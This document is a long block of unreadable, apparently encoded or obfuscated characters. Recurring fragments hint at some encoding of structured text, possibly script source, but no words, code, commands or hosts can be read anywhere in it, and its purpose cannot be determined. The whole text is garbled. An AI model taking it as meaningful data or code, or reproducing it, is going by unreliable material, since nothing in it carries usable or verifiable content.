@lGEYP DDlT[Z ED FXJUKVI\J\IPRF]FEPH9F]QZ]WRPBFZAV@_ZWZ]TDZ]W\D9UFDV@QIKVFDVl
]C
F@^]UFDV@QIKVFD9@IAWKJ^UKFGDDlT[Z EDJ\IPRF]FEPhn9ZU@IAWKJ^UKFG@GAZC\@@IAWKJ^UKFG_TUZF UR_@VTWEB]\K_DQQ[ZWlPl[@IAWKJ^UKFGH9AVPFA@ZEVRAQZGARG\A99TYTP[] ^X
@IAWKJ^UKFG9QAVRX9N9N9N9999GXIGQ[^DDDlT[Z ED

TYTP[] ^X
_R
@lGEYP  _TUZF TYTP[] ^X
GAFVE]AP@TR^\BG 	9DDlT[Z ED VVG_F@J_R
@lGEYP 
9999E]AP@TR^\BG 9_R
@lGEYP 9DDlT[Z ED 
_R
@lGEYPY\U[FA^A_XDDlT[Z ED9ZUs_R
@lGEYP G@BBFEIDOODDlT[Z EDQYDlT@]@EWXY@ZT[YT\FY@GAZ]TsDDlT[Z EDG@BBFEIDE]AP@TR^\BGGXIGQ[^DH99\ZVFJWG^Y_ AV QD
I]KG@BBFEIDGXIGQ[^D_TUZF99PICJFA]JXF[  [TDEG@BBFEID]YGKGEIDXW PEEB\U]9QD^BPU^^^C \VG@BBFEID  9PZZUJW[@
ClCFG@BBFEID9999A EG@\ APZVGAFV999N9RlPDGPVIDI
ZGAFV9FKEPV]@UQYDlT@]@EWXY@ZT[YT\FY@GAZ]TsE]AP@TR^\BGA B^KC]XX9ZUs_TUZF  A B^KC]XXOOFKEPV]@UY\U[FA^A_XH9dcRGV@Gc\@G@\QYVPGUZG9FW^@^_lR
EVAOYXWBVVJFFW[FW^@^_lR
EVAm9XJRP]KB[TDDlT[Z ED_R
@lGEYP
9W@CKGDUEJY A B^KC]XX]F__9RlPDGPVIDI
ZUR_@V9N9FKEPV]@UQYDlT@]@EWXY@ZT[YT\FY@GAZ]Ts_R
@lGEYPG@BBFEIDRZYE[VQC ]PCA YUTGFR\
RZYE[VQC ]PCA9ZUsDDlT[Z EDG@BBFEIDOOFKEPV]@UGXIGQ[^DH9999XJRP]KB[T_R
@lGEYP E]AP@TR^\BG
9W@CKGDUEJY G@BBFEID]F__9RlPDGPVIDI
ZUR_@V9N9C\@GW\^Z]RGV\Q@VAEVAU\Adcz^RTVq_\PX99F]@VGFKEPV]@U999ZURlPDGPVIDI
ZH9GRBK]Q
T[PBTZ]GTVGl\CGZ\]_R
@lGEYP9FCWRGVl\CGZ\]E]AP@TR^\BGGRBK]Q
T[PBTE]AP@TR^\BG 
9ZUGRBK]Q
T[PBTH9FCWRGVl\CGZ\]E]AP@TR^\BG_R
@lGEYPDDlT[Z ED 
9XJRP]KB[TDDlT[Z ED E]AP@TR^\BG9N9@CVPZR_ZIVQRPX_\TU\Adct_\QR_`GJ_V@99AVGFA]9N9RQB[JPI\@TRAARJDDlT[Z EDrq`crg{_TUZFE]AP@TR^\BGZ]^ECVK\YDQI_R
@lGEYP9@WQY^ZAP@RAARJ9U\AVRP[RQB[JPI\@TR@^WX
]UZlGZUP]H999VWUXT^WX
]UZlGZUP]E^PAR
ZGRXl] 9XFCW
B
[E]s_TUZFVWUXTs_R
@lGEYPVWUXT	9PFAAV]GsE]AP@TR^\BG VWUXTs_TUZFVWUXT	9ZUE]AP@TR^\BG
PFAAV]GH9XJRP]KB[T_TUZF _R
@lGEYP
9AVGFA]9N9ZU_R
@lGEYPPFAAV]GVVG_F@JUR_@VH9ZUPFAAV]G_TUZFE]AP@TR^\BGPFAAV]Go]PFAAV]Go]9IDTP
@@WZ\_TUZFG@BBFEIDc{clv|999ZU_Bl[
X^GYCY^P VWUXTPFAAV]GIDTP
@@WZ\H9ZUXFCW
B
[E]PICJFA]JXF[  [TDEVWUXTXFCW
B
[E]9V_@VPICJFA]JXF[  [TDEVWUXTE]AP@TR^\BG9QD^BPU^^^C \VVWUXT
999FCWRGVl\CGZ\]_R
@lGEYP_R
@lGEYP_TUZF 9@WQY^ZAP@hnRAARJVWUXTPFAAV]G9ZUZ]GTVGl\CGZ\]_TUZFFCWRGVl\CGZ\]E]AP@TR^\BG_TUZF 9ZUZ]GTVGl\CGZ\]_R
@lGEYPsWV_VGVl\CGZ\]E]AP@TR^\BG9NV_@VH9__QGW[JX@U]\^Z]GTVGl\CGZ\]_R
@lGEYP9FCWRGVl\CGZ\]_TUZF__QGW[JX@U]\^DDlT[Z ED 999ZU__QGW[JX@U]\^KKH9FCWRGVl\CGZ\]_R
@lGEYPDDlT[Z EDDDlT[Z ED99XJRP]KB[TDDlT[Z ED E]AP@TR^\BG99QAVRX9N9N9N99N9ZUA EG@\ APZVXDB]WPl_
X
H99999XJRP]KB[T_TUZF_R
@lGEYP9999W@CKGDUEJY G@BBFEID]F__999W@CKGDUEJY A B^KC]XX]F__9999U\AVRP[@WQY^ZAP@R@U\JW\WVVVQ^_Bl[
X^GYCY^P U\JW\WVVVQ^hnU\JW\WVVVQ^hn9GRBK]Q
T[PBTZ]GTVGl\CGZ\]E]AP@TR^\BG
9FCWRGVl\CGZ\]_TUZF
GRBK]Q
T[PBTDDlT[Z ED9ZUGRBK]Q
T[PBT
 m
H9FCWRGVl\CGZ\]E]AP@TR^\BG_R
@lGEYPE]AP@TR^\BG9XJRP]KB[T_TUZFDDlT[Z ED9N9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_R
@lGEYPTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9999UF]PGZ\]Z^]B
Z[D\BP]Zl9H9GAJH9ZUDDlT[Z EDE]AP@TR^\BGAVGFA]9ZUWVUZ]VW_R
@lGEYP OOWVUZ]VWDDlT[Z EDH9999ZUZ]GsTVGl\CGZ\]_R
@lGEYPH99sWV_VGVl\CGZ\]DDlT[Z ED9sFCWRGVl\CGZ\]E]AP@TR^\BG
_R
@lGEYP9N9AVGFA]9999N99^XUQlGD[XBGZ]GsTVGl\CGZ\]_TUZF999ZU^XUQlGD[XBGAVGFA]9PTCYlQ@RDPGF_DDlT[Z EDE]AP@TR^\BGZ]GsDDlT[Z EDDDlT[Z ED	9ZUPTCYlQ@RDPGF_PTCYlQ@RDPGF_9ZU_R
@lGEYP^XUQlGD[XBGPTCYlQ@RDPGF_K KQAVGFA]9sFCWRGVl\CGZ\]_TUZF_R
@lGEYPE]AP@TR^\BG9K_@IF@\]EA
WZ]GsTVGl\CGZ\]_R
@lGEYP
9sFCWRGVl\CGZ\]_TUZF
K_@IF@\]EA
W_R
@lGEYP9ZUK_@IF@\]EA
WH9WVU_RGZ\]RAJER_ZWRG\A99sWV_VGVl\CGZ\]E]AP@TR^\BG9sFCWRGVl\CGZ\]_TUZFE]AP@TR^\BGE]AP@TR^\BG9XJRP]KB[T_TUZFE]AP@TR^\BG
9999N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH^]DTEBYRB^J
c{cl~ry|aleva`z|}R[CRWW^]DTEBYRB^J

9N999N9UF]PGZ\]TYG I[Q[] [PEZ_\l9H9GAJH9ZUWVUZ]VW_R
@lGEYPAVGFA]9ZU_TUZFDDlT[Z ED
 AVGFA]999ZUGKWQ_lBW^F AXKAVGFA]9ZU@UWV\QUJX\T^ZCR VKAVGFA]9J]_CDYZKBBBVA
XCV@AY@^T99XE^lZVGFJ]_CDYZK_TUZF9999IJJ[_Z_[I_TUZF o]_TUZFo]9DDlT[Z EDo]_R
@lGEYPo]_TUZFo]9DDlT[Z EDo]_TUZF
o]E]AP@TR^\BGo]9_TUZFo]9PFAAV]Gs_R
@lGEYPXE^lZVGFs_R
@lGEYPXE^lZVGF	9ZU_R
@lGEYP
PFAAV]GH999XJRP]KB[TDDlT[Z ED DDlT[Z ED9AVGFA]9N9ZUDDlT[Z EDPFAAV]GE]AP@TR^\BG UR_@VH9_Bl[
X^GYCY^P XE^lZVGFPFAAV]GIJJ[_Z_[I9PICJFA]JXF[  [TDEXE^lZVGF]YGKGEIDXW PEEB\U]9QD^BPU^^^C \VXE^lZVGF 9N99[[_CC\A^IRIU]_R^BXF_[ \U R9ZU[[_CC\A^IROOE]AP@TR^\BG[[_CC\A^IR
  AVGFA]9AYRKTE\^_R
@lGEYPYDA[\
D@PQVUAV_TUZF 
 9Z]^ECVK\YDQIR\^]V JWXZ_9VVG_F@JBQ
D\KCTWT^C^KB\rq`crg{_TUZF_TUZF 
 9JAAGGUBZAKF\RAARJ9Z]^ECVK\YDQIVVG_F@J9J]_CDYZKVVG_F@J999999PE\GVYQDDJFTABZ]^ECVK\YDQIVVG_F@J9U\AVRP[JAAGGUBZAKF\R@JWF\WA\R__H99^WX
]UZlGZUP]_TUZF JWF\WA\R__9999ZUsE]AP@TR^\BG 
^WX
]UZlGZUP]OOBRFY @QI@lG^^WX
]UZlGZUP]KVK
UGAFVH9PE\GVYQDDJFTABJWF\WA\R__9QAVRX9N9N9IVl\@G^WYZ\JVVD lKFAYl
999Y\U[FA^A_XGURYIQX 
FWI@UK9E]AP@TR^\BG9RAARJll`ftllllcftz}lqr`vlllleva`z|}ll99RAARJAYRKTE\^IVl\@G^WYZB
C\ZlAP^PVX_\G_^Z99ZUY\U[FA^A_XH9ZUZ]GTVGl\CGZ\]_TUZF 
XJRP]KB[TE]AP@TR^\BGDDlT[Z ED999AVGFA]99N9TYTP[] ^X
99^GQWEUE]P
RAARJrq`crg{_TUZFZ]^ECVK\YDQI_R
@lGEYP9UK[TTT\Q_R
@lGEYP
_TUZFs_TUZFE]AP@TR^\BG	UR_@V9999ZUDDlT[Z ED
UK[TTT\QUK[TTT\QH9^GQWEUE]P
hnDDlT[Z EDrq`crg{_R
@lGEYP
UK[TTT\Q9^GQWEUE]P
hnZ]^ECVK\YDQIUK[TTT\Q9N9U\AVRP[^GQWEUE]P
R@I
\ZCDEPH9lIRCEX s_TUZFI
\ZCDEPs_R
@lGEYP
I
\ZCDEP	9ZU_R
@lGEYP
lIRCEX OOlIRCEX P\]GZ]FV9ZU_TUZF E]AP@TR^\BG
lIRCEX J\IPRF]FEPH9@IAWKJ^UKFG_R
@lGEYPJ\IPRF]FEPhn9ZU@IAWKJ^UKFG@GAZC\@@IAWKJ^UKFGDDlT[Z ED UR_@VTWEB]\K_DQQ[ZWlPl[@IAWKJ^UKFGH9TYTP[] ^X
@IAWKJ^UKFG9QAVRX9N9N9N9ZUTYTP[] ^X
H9VKRPG@GRPXUAR^V99Y\U[FA^A_X_TUZF_TUZF
 DDlT[Z ED
_R
@lGEYP TYTP[] ^X
GAFVE]AP@TR^\BG
Y\U[FA^A_X999ZU_TUZF
Y\U[FA^A_XH9XJRP]KB[T_R
@lGEYP_R
@lGEYP
9AVGFA]99N999N9C ]CIFEDTVCYZGAFV9PXAQTVX@]F__9ZUs_TUZF
PE\GVYQDDJFTABH9PXAQTVX@QYDlT@]@EWXY@ZT[YT\FY@GAZ]TsE]AP@TR^\BG
PE\GVYQDDJFTABFKUIC^  JB_[\
GFKUIC^ 9ZUE]AP@TR^\BG

PXAQTVX@PXAQTVX@Y\U[FA^A_XH999C ]CIFEDTVCYZUR_@VY EKTV@KCTZYR@FQZGXPY EKTV@KY EKTV@K	Y EKTV@K9N9c{cf]ZG	GVA^Z]RGVAZ]TQFUUVA99N9P
IlRIRRAARJ9rq`crg{DDlT[Z ED9WVUZ]VW_R
@lGEYP
dclp|}gv}glwza	Z]^ECVK\YDQI_TUZF99999@
Y]_Ql^RB^ JGZ]GTVGl\CGZ\]_TUZF9ZU@
Y]_Ql^RB^ JGDDlT[Z ED@
Y]_Ql^RB^ JG H9W@CKGDUEJY PE\GVYQDDJFTAB]F__9999U\AVRP[P
IlRIRR@J[V l_DXGV]JH9999FQ\DRUPQT]s_R
@lGEYPJ[V l_DXGV]JsDDlT[Z ED
J[V l_DXGV]J	9ZU_R
@lGEYP

FQ\DRUPQT]DDlT[Z EDFQ\DRUPQT]VVG_F@JUR_@VH9YDDITTUEZ
B^E[lAF_ZGX lDD\P[A^FQ\DRUPQT]VVG_F@JKUW
EADX

JFV]GKRKUW
EADX9ZU_R
@lGEYP

YDDITTUEZ
B^E[YDDITTUEZ
B^E[FQ\DRUPQT]_Bl[
X^GYCY^P J[V l_DXGV]JYDDITTUEZ
B^E[9N9N9AVGFA]9N99ZUC ]CIFEDTVCYZH9\ZVFJWG^Y_ AV QD
I]KPE\GVYQDDJFTABY\U[FA^A_XDDlT[Z ED9PICJFA]JXF[  [TDEPE\GVYQDDJFTAB]YGKGEIDXW PEEB\U]999QD^BPU^^^C \VPE\GVYQDDJFTAB DCB_@^KUKOQBTAGJ KEl_DCB_@^KUKm9PZZUJW[@
ClCFPE\GVYQDDJFTAB9999N9FKEPV]@UsE]AP@TR^\BGPE\GVYQDDJFTABQYDlT@]@EWXY@ZT[YT\FY@GAZ]Ts_TUZF PE\GVYQDDJFTAB	9ZUFKEPV]@UY\U[FA^A_XH99XJRP]KB[TDDlT[Z ED_R
@lGEYP
CZlA[@ZB
DQ][BRK\[GCZlA[@ZBCZlA[@ZB	CZlA[@ZB9W@CKGDUEJY PE\GVYQDDJFTABC ]CIFEDTVCYZPXAQTVX@	]F__9XFFTZ@V@JZ]GTVGl\CGZ\]_TUZF9FCWRGVl\CGZ\]_TUZFXFFTZ@V@J_TUZF9ZUXFFTZ@V@JH9999FCWRGVl\CGZ\]_R
@lGEYPDDlT[Z EDDDlT[Z ED9XJRP]KB[T_TUZFDDlT[Z ED9N9AVGFA]9N9F]@VGFKEPV]@U9999]T
QV_XZ@FDDlT[Z ED9@WQY^ZAP@RAARJ9U\AVRP[P
IlRIRR@E@W@K] R  H9^WX
]UZlGZUP]DDlT[Z ED E@W@K] R  9ZUs_TUZF 
^WX
]UZlGZUP]P\]GZ]FVVDCQA\XECQPJW]
lVDCQA\XECQ 9TlQZ@GZ[TlR_TUZFDDlT[Z EDs_R
@lGEYPE@W@K] R  P	UR_@V9ZUTlQZ@GZ[TlRUR_@VE]AP@TR^\BGDDlT[Z ED
sU_\PXTlQZ@GZ[TlR|pxlvk9XFCW
B
[E]sDDlT[Z EDE@W@K] R  s_R
@lGEYPE@W@K] R  	9]@P_WFUDBQRsDDlT[Z EDE@W@K] R  s_R
@lGEYPE@W@K] R  	9ZUDDlT[Z ED

]@P_WFUDBQRH9XJRP]KB[T_R
@lGEYPE]AP@TR^\BG9ZUTlQZ@GZ[TlRUR_@VH9ZUE]AP@TR^\BG _R
@lGEYP
sU_\PXTlQZ@GZ[TlR|pxlf}9sUP_\@VTlQZ@GZ[TlR9N9P\]GZ]FV99N9ZU_R
@lGEYP]@P_WFUDBQRVVG_F@JUR_@VH9ZUsDDlT[Z EDPE\GVYQDDJFTABH99ZUTlQZ@GZ[TlRUR_@VH9ZUDDlT[Z ED _R
@lGEYPsU_\PXTlQZ@GZ[TlR|pxlf}999sUP_\@VTlQZ@GZ[TlR9N9999P\]GZ]FV9N9]@P_WFUDBQRlAF_ZGX lDD\P[A^]@P_WFUDBQRVVG_F@J9N9ZU_TUZF

]@P_WFUDBQRH99XJRP]KB[TE]AP@TR^\BGDDlT[Z ED
9ZUTlQZ@GZ[TlRUR_@VH9ZU_R
@lGEYP _R
@lGEYPsU_\PXTlQZ@GZ[TlR|pxlf}9sUP_\@VTlQZ@GZ[TlR9N9P\]GZ]FV9N9ZUsE]AP@TR^\BGPE\GVYQDDJFTABH9c{cRGGAZQFGV@U\]GURPV9lAUDPB QRBWK
KR
]AJA_\lAUDPB QRBW9ZUTlQZ@GZ[TlRUR_@VH9ZU_TUZF _R
@lGEYPsU_\PXTlQZ@GZ[TlR|pxlf}9sUP_\@VTlQZ@GZ[TlR9N9P\]GZ]FV9N9ZUZ^]YE^TZ[V@\\ZCTABH9IDTP
@@WZ\o]zU~\WF_V_ZGV@CVVWo]]T
QV_XZ@F_TUZFPE\GVYQDDJFTABo]zU~\WF_Vo]9NV_@VH9IDTP
@@WZ\o]zU~\WF_V^\WlC[CPo]]T
QV_XZ@FE]AP@TR^\BGPE\GVYQDDJFTABo]zU~\WF_Vo]9zU~\WF_V^\WlC[CPo]]T
QV_XZ@F_R
@lGEYPPE\GVYQDDJFTABo]zU~\WF_Vo]9zU~\WF_V^\WlC[CPo]]T
QV_XZ@F_TUZFPE\GVYQDDJFTABo]zU~\WF_Vo]99zU~\WF_V^\WlC[CPo]]T
QV_XZ@F_TUZFPE\GVYQDDJFTABo]zU~\WF_Vo]9N9ZU_Bl[
X^GYCY^P E@W@K] R  ]@P_WFUDBQRIDTP
@@WZ\@WQY^ZAP@hnRAARJE@W@K] R  ]@P_WFUDBQR999ZUXFCW
B
[E]PICJFA]JXF[  [TDEE@W@K] R  XFCW
B
[E]999V_@VPICJFA]JXF[  [TDEE@W@K] R  E]AP@TR^\BG9ZUTlQZ@GZ[TlRUR_@VH999ZU_TUZF _TUZFsU_\PXTlQZ@GZ[TlR|pxlf}9sUP_\@VTlQZ@GZ[TlR9N9N99ZUC ]CIFEDTVCYZOO_R
@lGEYP
@WQY^ZAP@XDB]WPl_
X
H999XJRP]KB[T_R
@lGEYP_R
@lGEYP9W@CKGDUEJY PE\GVYQDDJFTABPXAQTVX@9U\AVRP[@WQY^ZAP@R@U\JW\WVVVQ^_Bl[
X^GYCY^P U\JW\WVVVQ^hnU\JW\WVVVQ^hn9XFFTZ@V@JZ]GTVGl\CGZ\]_R
@lGEYP9FCWRGVl\CGZ\]DDlT[Z EDXFFTZ@V@JE]AP@TR^\BG9ZUXFFTZ@V@J H9FCWRGVl\CGZ\]DDlT[Z ED_R
@lGEYPDDlT[Z ED9XJRP]KB[TDDlT[Z EDE]AP@TR^\BG 9N999AVGFA]9N9ZUZ]GTVGl\CGZ\]DDlT[Z EDFCWRGVl\CGZ\]_R
@lGEYP_TUZF9ZUZ]GTVGl\CGZ\]_R
@lGEYPsWV_VGVl\CGZ\]E]AP@TR^\BG9999NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_TUZFTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9XJRP]KB[T_TUZFTDKQ[VTBBQID^
F[@RWFUZFPDCRDD^
F[@RWFD^
F[@RWF	D^
F[@RWF9N9N9UF]PGZ\]XEZE[EZB
JIB9H9GAJH9ZUWVUZ]VWE]AP@TR^\BGAVGFA]9ZU_R
@lGEYP _R
@lGEYPAVGFA]VXTD]ZIBc{cl~ry|aleva`z|}YAJ^TWXlJlUVXTD]ZIB9[JJA_D[ZITBQ
D\KCTWT^C^KB\rq`crg{_R
@lGEYPK K9999[[_CC\A^IRIU]_R^BXF_[ \U R9ZU[[_CC\A^IROODDlT[Z ED[[_CC\A^IRAVGFA]99IVl\@G^WYZ\JVVD lKFAYl
999PFAAV]GsTVGl\CGZ\][JJA_D[ZIT9ZUPFAAV]GDDlT[Z EDPFAAV]G_R
@lGEYP
IVl\@G^WYZPFAAV]GIVl\@G^WYZAVGFA]9ZUE]AP@TR^\BG E]AP@TR^\BG
H9FCWRGVl\CGZ\][JJA_D[ZITIVl\@G^WYZ_TUZF9NV_@VZUWVUZ]VWDDlT[Z ED WVUZ]VW_R
@lGEYP WVUZ]VWE]AP@TR^\BG WVUZ]VW_R
@lGEYP  E]AP@TR^\BG
E]AP@TR^\BG H9XFB\^K]PZRDDlT[Z ED 9D@UDGCKQ
K]_s]VDXFB\^K]PZRP\]@GR]G_R
@lGEYP P\]@GR]G_TUZF P\]@GR]GDDlT[Z ED P\]@GR]G_R
@lGEYP  999ZUD@UDGCKQ
K]_D@UDGCKQ
K]_P\]]VPGlVAA]\H9Z]U_RGZ\]RAJWZ@GAZQFG\A99CAVUZKZ@@VGt|qr`h_TUZF nCAVUZKt|qr`h_TUZF nCAVUZK	_R
@lGEYP 9FlUVGZZCGWJD@UDGCKQ
K]_AVR_lV@PRCVl@GAZ]TIVl\@G^WYZ9YXBEBZEl]_lT[D@UDGCKQ
K]_AVR_lV@PRCVl@GAZ]T[JJA_D[ZIT9D@UDGCKQ
K]_BFVAJoK
oKV`voKgoK
}goKUHCAVUZKN\CGZ\]oK oKUCGZ\oKVl]oKoKWVoKUCoKoK
\]lER_oKoKRFoKoKU_\RoKoKoKoKoK`HYXBEBZEl]_lT[NHFlUVGZZCGWJN]\|}woKczoK rgvxvjfoKwrgoKoKUCoKoK
\oKVlERoKPoKVHFlUVGZZCGWJN9ZUD@UDGCKQ
K]_VAA\AXJRP]KB[TE]AP@TR^\BG _TUZF _R
@lGEYP 
D@UDGCKQ
K]_VAA\A 9D@UDGCKQ
K]_P_\@V9999N9N9999NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9kWVQFTCA\UZ_VA	P\^CFGRQ_VCVA^Z@@Z\]99XJRP]KB[TDDlT[Z ED TDKQ[VTBBQI9999NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9^F_GZQJGVRDRAV99N9UF]PGZ\]V KlYB
 R 9H9R]BKIJ_Q\G@WVUZ]VWDDlT[Z ED
dclp|}gv}glwza	rq`crg{E]AP@TR^\BG 9][\CVDB[
BD\BQ
D\KCTWT^C^KB\rq`crg{_TUZF 9AVGFA]RAARJR]BKIJ_Q\G@DDlT[Z EDR]BKIJ_Q\G@_R
@lGEYP][\CVDB[
BD\DDlT[Z ED][\CVDB[
BD\999N9UF]PGZ\]\@[Z]^lE RU]JPlAC]]KRR 
Y999H9@W Z]W]JZ]GsE]AP@TR^\BG
C]]KRR 
Y999ZU@W Z]W]JKWK OO@W Z]W]JK KRRWPAVGFA]UR_@V99PXJDX@ TTWs_R
@lGEYPC]]KRR 
Y9ZUE]AP@TR^\BG

PXJDX@ TTWOO_TUZF
PXJDX@ TTW 
OO_TUZF
PXJDX@ TTW  AVGFA]UR_@V9^XUQlGD[XBG_TUZF	PXJDX@ TTW m 
9ZU_TUZF
^XUQlGD[XBGmOO^XUQlGD[XBGhn_TUZF OODDlT[Z ED
^XUQlGD[XBGhmn
AVGFA]UR_@V9KYXQV
YBXYGE\sDDlT[Z ED^XUQlGD[XBGhn9ZUKYXQV
YBXYGE\UR_@VOO_TUZFKYXQV
YBXYGE\K KUAVGFA]UR_@V9999ZU_R
@lGEYP 
KYXQV
YBXYGE\oKUoKQH9Q^[GYEREs_TUZF
eE]AP@TR^\BG 
KYXQV
YBXYGE\m9ZU_TUZFQ^[GYEREOOQ^[GYEREhnmOOQ^[GYEREhn
AVGFA]UR_@V9ZU_TUZF_R
@lGEYPKYXQV
YBXYGE\sTIWVP\WVKYXQV
YBXYGE\
99V_@VZU_R
@lGEYP
_R
@lGEYP
 H9KYXQV
YBXYGE\sTIZ]U_RGVDDlT[Z ED 
KYXQV
YBXYGE\_TUZFKYXQV
YBXYGE\ m
9ZU_R
@lGEYP

KYXQV
YBXYGE\DDlT[Z EDKYXQV
YBXYGE\AVGFA]UR_@V9N99V_@VAVGFA]UR_@V9N9ZU_R
@lGEYPKYXQV
YBXYGE\OO_TUZFKYXQV
YBXYGE\OO_R
@lGEYP KYXQV
YBXYGE\m_R
@lGEYPOO_TUZFKYXQV
YBXYGE\^XUQlGD[XBGhnAVGFA]UR_@V9AVGFA]KYXQV
YBXYGE\^CK\
CAI_\[_Dl_E 
Y^CK\
CAI_^CK\
CAI_	^CK\
CAI_999N99UF]PGZ\]QWYYY\CY_[_DX9H999GAJH9ZUWVUZ]VWE]AP@TR^\BGAVGFA]9[J@XFZGVl
EXP[V KlYB
 R 9ZUsDDlT[Z ED[J@XFZGVl
EXP[hnAVGFA]9ZU\@[Z]^lE RU]JPlA[J@XFZGVl
EXP[hnUR_@VAVGFA]V[
VD
@IYTAPD 
^] @UZIR@BJV[
VD
@IYTAPD9QF\\JE@GURYIQX 
FWI@UK_R
@lGEYP RAARJll`ftllRAARJDDlT[Z EDYDA[\
D@PQVUAV_R
@lGEYP 
 9ZUE]AP@TR^\BGQF\\JE@OOQF\\JE@AVGFA]9QF\\JE@_TUZFE]AP@TR^\BGQF\\JE@9ZU_R
@lGEYPQF\\JE@OOQF\\JE@AVGFA]9QAE]ZQ\\EJRUB
C\ZlAP^PVX_\G_^Z	BQ
D\KCTWT^C^KB\rq`crg{_R
@lGEYPKK9EWFZYRIlQE]AP@TR^\BGQAE]ZQ\\EJRU_R
@lGEYP9T_^C[E]AP@TR^\BGQAE]ZQ\\EJRUE]AP@TR^\BG999EWJQ^QDDY_TUZF
[J@XFZGVl
EXP[hn_R
@lGEYPB
C\ZlAP^PVX_\G_^ZE]AP@TR^\BGo]QF\\JE@999ZUs_TUZF[J@XFZGVl
EXP[hnH9ZUDZQEAXZYUl ZC
[J@XFZGVl
EXP[hnH9XJRP]KB[TE]AP@TR^\BG_R
@lGEYP9999AVGFA]9N9sUZ]R_ZIV^ZWW_VDRAV99ZU_Bl[
X^GYCY^P [J@XFZGVl
EXP[hnEWJQ^QDDYH99PICJFA]JXF[  [TDE[J@XFZGVl
EXP[hn]YGKGEIDXW PEEB\U]9QD^BPU^^^C \V[J@XFZGVl
EXP[hn 9PZZUJW[@
ClCF[J@XFZGVl
EXP[hn9N9dcq_\PXeRAZRGZ\]@	RUUZ]V@FQ@PAZQVA99AVGFA]9999N9Zl^DB_D^R YJs_R
@lGEYP[J@XFZGVl
EXP[hn9ZU_TUZFZl^DB_D^R YJOOE]AP@TR^\BGZl^DB_D^R YJ

AVGFA]9ZU_TUZFZl^DB_D^R YJEWFZYRIlQUR_@V_R
@lGEYPZl^DB_D^R YJT_^C[UR_@VAVGFA]9ZUE]AP@TR^\BGZl^DB_D^R YJ_TUZF UR_@V_R
@lGEYPZl^DB_D^R YJ_TUZF[J@XFZGVl
EXP[hnUR_@VH9999ZUE]AP@TR^\BGDDlT[Z ED_R
@lGEYP Zl^DB_D^R YJ
GKCWDZEVA@Z\]lP\^CRAVGKCWDZhnB
C\ZlAP^PVX_\G_^Z_TUZF
AVGFA]9ZUDZQEAXZYUl ZC
[J@XFZGVl
EXP[hnZl^DB_D^R YJH9XJRP]KB[TE]AP@TR^\BGE]AP@TR^\BGC^FU@T@El@lB_ZKR^TQXC^FU@T@El@C^FU@T@El@	C^FU@T@El@9AVGFA]9N9ZU_Bl[
X^GYCY^P [J@XFZGVl
EXP[hnEWJQ^QDDYH9PICJFA]JXF[  [TDE[J@XFZGVl
EXP[hn]YGKGEIDXW PEEB\U]9QD^BPU^^^C \V[J@XFZGVl
EXP[hnKWK9PZZUJW[@
ClCF[J@XFZGVl
EXP[hn9N9AVGFA]9N9CDPY\
]X]BQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BGKK9Zl^DB_D^R YJ_R
@lGEYP
_R
@lGEYPCDPY\
]X]E]AP@TR^\BGZl^DB_D^R YJ9ZU_R
@lGEYPZl^DB_D^R YJH9XJRP]KB[T_R
@lGEYPDDlT[Z ED
9999AVGFA]9N9ZUsDDlT[Z ED 
[J@XFZGVl
EXP[hnAVGFA]999ZUK^K_BYK@^YIKP_TUZFH9XJRP]KB[TE]AP@TR^\BG E]AP@TR^\BG9AVGFA]9N9ZUDZQEAXZYUl ZC
[J@XFZGVl
EXP[hnZl^DB_D^R YJH9XJRP]KB[T_R
@lGEYP _TUZFWX\FQ[FJ ^CZIUA^DWX\FQ[FJ ^9AVGFA]9N9BC EGVI^^ZGC^_R
@lGEYP99__VY__DYR EWFZYRIlQo]E]AP@TR^\BG[J@XFZGVl
EXP[hn_TUZFo]QF\\JE@o]T_^C[9_Bl[
X^GYCY^P [J@XFZGVl
EXP[hnVV Z^FlQYAWUZ_IPTVZl^DB_D^R YJ__VY__DYR 9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BGTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N99UF]PGZ\]^YAX \J^BXA E 9H9GAJH9ZUWVUZ]VWDDlT[Z EDAVGFA]9[J@XFZGVl
EXP[V KlYB
 R 9DIQE@_JYJD[@GAZ]TsE]AP@TR^\BG[J@XFZGVl
EXP[hnUR_@V]F__9999ZU_TUZF
E]AP@TR^\BGDIQE@_JYJD[QVIU YZZQVIU YZZhnB
C\ZlAP^PVX_\G_^ZH9KTZI@WVZ]GTVGl\CGZ\]_TUZF9ZUE]AP@TR^\BGKTZI@WV AVGFA]99ZU\@[Z]^lE RU]JPlA[J@XFZGVl
EXP[hnUR_@VHZ^V]R^

@\Z^R[WV Y
Z^V]R^ 9sFCWRGVl\CGZ\]_R
@lGEYPDDlT[Z EDE]AP@TR^\BG9AVGFA]QG_JQREQKIKK  K
_CRF^CGTRQG_JQREQKIK9N9XJRP]KB[T_TUZF_R
@lGEYP9N9[[_CC\A^IRIU]_R^BXF_[ \U R99ZU[[_CC\A^IROOE]AP@TR^\BG[[_CC\A^IROO_TUZF[[_CC\A^IR 
 OOZRG
\KYQ\R AXG[[_CC\A^IRAVGFA]]^YBU[TY]KQKEU XE_ B]^YBU[TY]
9BDR]KTI]C_R
@lGEYP
_R
@lGEYP sTIV]P\WV[[_CC\A^IR m 	[[_CC\A^IR9ZUDDlT[Z EDBDR]KTI]COOBDR]KTI]CAVGFA]9ZU_Bl[
X^GYCY^P [J@XFZGVl
EXP[hn_TUZF B
C\ZlAP^PVX_\G_^Z	E]AP@TR^\BG[[_CC\A^IR	DDlT[Z ED BDR]KTI]CsFCWRGVl\CGZ\]E]AP@TR^\BGE]AP@TR^\BG_R
@lGEYP9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_TUZFTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]BKI R_B
TRUZJJY99H9ZUE]AP@TR^\BG
_R
